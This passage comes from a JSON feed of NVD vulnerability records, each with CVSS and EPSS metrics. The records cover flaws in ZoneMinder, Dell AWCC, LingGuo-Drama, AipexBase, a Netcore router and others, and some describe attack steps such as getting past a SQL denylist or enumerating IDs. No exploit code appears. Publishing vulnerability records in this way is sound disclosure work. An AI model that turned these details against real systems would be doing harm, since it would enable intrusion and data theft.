fixes.","publishedAt":"2026-10-16T20:17:17.563Z","updatedAt":"2026-10-19T20:52:31.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102834","asOf":"2026-10-19T20:52:31.100Z"},"epss":{"probability":0.00335,"percentile":0.26584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102834","type":"primary","publishedAt":"2026-10-16T20:17:17.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102607","cveId":"CVE-2026-102607","aliases":[],"kind":"vulnerability","title":"ZoneMinder is a free, open source closed-circuit television software application.","summary":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, the exportEvents() function concatenates the attacker-controlled exportFile request parameter into a shell command without neutralizing shell metacharacters when an authenticated user with View Events or View Snapshots permission submits an event export request with a crafted exportFile value, a valid CSRF token, and exportDetail enabled. The affected components are exportEvents(), exportFile, web/ajax/event.php, web/skins/classic/includes/export_functions.php. In this attack mechanism, the crafted exportFile value reaches the trailing directory argument of a tar or zip command executed by exec(). The attacker can execute arbitrary operating system commands as the web server user. This issue is fixed in version 1.38.3.","detail":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, the exportEvents() function concatenates the attacker-controlled exportFile request parameter into a shell command without neutralizing shell metacharacters when an authenticated user with View Events or View Snapshots permission submits an event export request with a crafted exportFile value, a valid CSRF token, and exportDetail enabled. The affected components are exportEvents(), exportFile, web/ajax/event.php, web/skins/classic/includes/export_functions.php. In this attack mechanism, the crafted exportFile value reaches the trailing directory argument of a tar or zip command executed by exec(). The attacker can execute arbitrary operating system commands as the web server user. This issue is fixed in version 1.38.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:17.097Z","updatedAt":"2026-10-19T15:16:53.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102607","asOf":"2026-10-19T15:16:53.960Z"},"epss":{"probability":0.00447,"percentile":0.38617,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102607","type":"primary","publishedAt":"2026-10-16T20:17:17.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-66969","cveId":"CVE-2025-66969","aliases":[],"kind":"vulnerability","title":"Integer overflow in OpenModSim (<=1.11.0), leading to denial of service","summary":"Integer overflow in OpenModSim (<=1.11.0), leading to denial of service","detail":"Integer overflow in OpenModSim (<=1.11.0), leading to denial of service\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T19:16:57.160Z","updatedAt":"2026-10-21T02:17:02.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-66969","asOf":"2026-10-21T02:17:02.330Z"},"epss":{"probability":0.00339,"percentile":0.27068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-66969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-66969","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66969","type":"primary","publishedAt":"2026-10-16T19:16:57.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-66969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-66969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81452","cveId":"CVE-2026-81452","aliases":[],"kind":"vulnerability","title":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability.","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Denial of Service.","detail":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Denial of Service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:18:37.770Z","updatedAt":"2026-10-20T14:17:03.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81452","asOf":"2026-10-20T14:17:03.487Z"},"epss":{"probability":0.0008,"percentile":0.00158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81452","type":"primary","publishedAt":"2026-10-16T18:18:37.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111723","cveId":"CVE-2026-111723","aliases":[],"kind":"vulnerability","title":"LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API...","summary":"LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API protected only by AuthAdminJWT. Attackers can self-register, read every account's bcrypt hash, reset the bootstrap administrator's password via PUT, raise their authority_id, and delete accounts.","detail":"LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API protected only by AuthAdminJWT. Attackers can self-register, read every account's bcrypt hash, reset the bootstrap administrator's password via PUT, raise their authority_id, and delete accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:56.980Z","updatedAt":"2026-10-20T16:17:00.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111723","asOf":"2026-10-20T16:17:00.417Z"},"epss":{"probability":0.0036,"percentile":0.29473,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111723","type":"primary","publishedAt":"2026-10-16T18:17:56.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111722","cveId":"CVE-2026-111722","aliases":[],"kind":"vulnerability","title":"LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get...","summary":"LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get lacks an owner check. Self-registered attackers can iterate numeric IDs via GET, PUT and DELETE /admin/v1/projects/:id to read, overwrite, reassign or delete any user's short-drama projects.","detail":"LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get lacks an owner check. Self-registered attackers can iterate numeric IDs via GET, PUT and DELETE /admin/v1/projects/:id to read, overwrite, reassign or delete any user's short-drama projects.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:56.823Z","updatedAt":"2026-10-16T19:17:05.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111722","asOf":"2026-10-16T19:17:05.570Z"},"epss":{"probability":0.00303,"percentile":0.22797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111722","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111722","type":"primary","publishedAt":"2026-10-16T18:17:56.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111719","cveId":"CVE-2026-111719","aliases":[],"kind":"vulnerability","title":"Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records...","summary":"Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records by supplying a trxNo parameter. Attackers can guess transaction numbers, a '7' prefix plus a snowflake ID, to obtain the full serialized payment record of any merchant.","detail":"Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records by supplying a trxNo parameter. Attackers can guess transaction numbers, a '7' prefix plus a snowflake ID, to obtain the full serialized payment record of any merchant.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:56.397Z","updatedAt":"2026-10-21T22:16:47.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111719","asOf":"2026-10-21T22:16:47.230Z"},"epss":{"probability":0.0034,"percentile":0.27175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111719","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111719","type":"primary","publishedAt":"2026-10-16T18:17:56.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111718","cveId":"CVE-2026-111718","aliases":[],"kind":"vulnerability","title":"AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke...","summary":"AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke endpoint. Attackers can supply subqueries or EXTRACTVALUE and UPDATEXML functions that bypass the SqlGuard denylist and row-level security, reading other users' rows and tables.","detail":"AipexBase through commit 690adb9 contains a sql injection vulnerability that allows attackers to inject SQL through the order_by and group_by fields of the /api/data/invoke endpoint. Attackers can supply subqueries or EXTRACTVALUE and UPDATEXML functions that bypass the SqlGuard denylist and row-level security, reading other users' rows and tables.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:56.257Z","updatedAt":"2026-10-16T20:17:22.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111718","asOf":"2026-10-16T20:17:22.960Z"},"epss":{"probability":0.00327,"percentile":0.25505,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111718","type":"primary","publishedAt":"2026-10-16T18:17:56.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111710","cveId":"CVE-2026-111710","aliases":[],"kind":"vulnerability","title":"Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash...","summary":"Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash the server via a malformed Authorization header. Attackers can send a Basic Authorization value lacking a colon, such as one decoding to a single character, to protected routes like /router/get_user_type.cgi to kill the main Boa process and deny management interface access.","detail":"Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash the server via a malformed Authorization header. Attackers can send a Basic Authorization value lacking a colon, such as one decoding to a single character, to protected routes like /router/get_user_type.cgi to kill the main Boa process and deny management interface access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:55.207Z","updatedAt":"2026-10-19T15:16:54.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111710","asOf":"2026-10-19T15:16:54.877Z"},"epss":{"probability":0.00291,"percentile":0.21439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111710","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111710","type":"primary","publishedAt":"2026-10-16T18:17:55.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111706","cveId":"CVE-2026-111706","aliases":[],"kind":"vulnerability","title":"99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs.","summary":"99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs. Attackers can send requests with controlled page, size, and optional email fields to download xlsx files containing usernames, emails, prompts, and AI answers.","detail":"99AI through 4.3.0 contains a missing authentication vulnerability in the POST /api/chatLog/exportExcel route that allows unauthenticated attackers to export all users' chat logs. Attackers can send requests with controlled page, size, and optional email fields to download xlsx files containing usernames, emails, prompts, and AI answers.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:54.663Z","updatedAt":"2026-10-16T22:17:22.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111706","asOf":"2026-10-16T22:17:22.943Z"},"epss":{"probability":0.00347,"percentile":0.28019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111706","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111706","type":"primary","publishedAt":"2026-10-16T18:17:54.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111702","cveId":"CVE-2026-111702","aliases":[],"kind":"vulnerability","title":"ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by...","summary":"ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by supplying sequential ids. Attackers can enumerate ids via GET /api/knowledgebases/{id} or the knowledgebaseId parameter of POST /api/models/chat to read metadata and retrieved document content.","detail":"ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by supplying sequential ids. Attackers can enumerate ids via GET /api/knowledgebases/{id} or the knowledgebaseId parameter of POST /api/models/chat to read metadata and retrieved document content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:54.080Z","updatedAt":"2026-10-16T19:17:05.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111702","asOf":"2026-10-16T19:17:05.120Z"},"epss":{"probability":0.00426,"percentile":0.36575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111702","type":"primary","publishedAt":"2026-10-16T18:17:54.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE 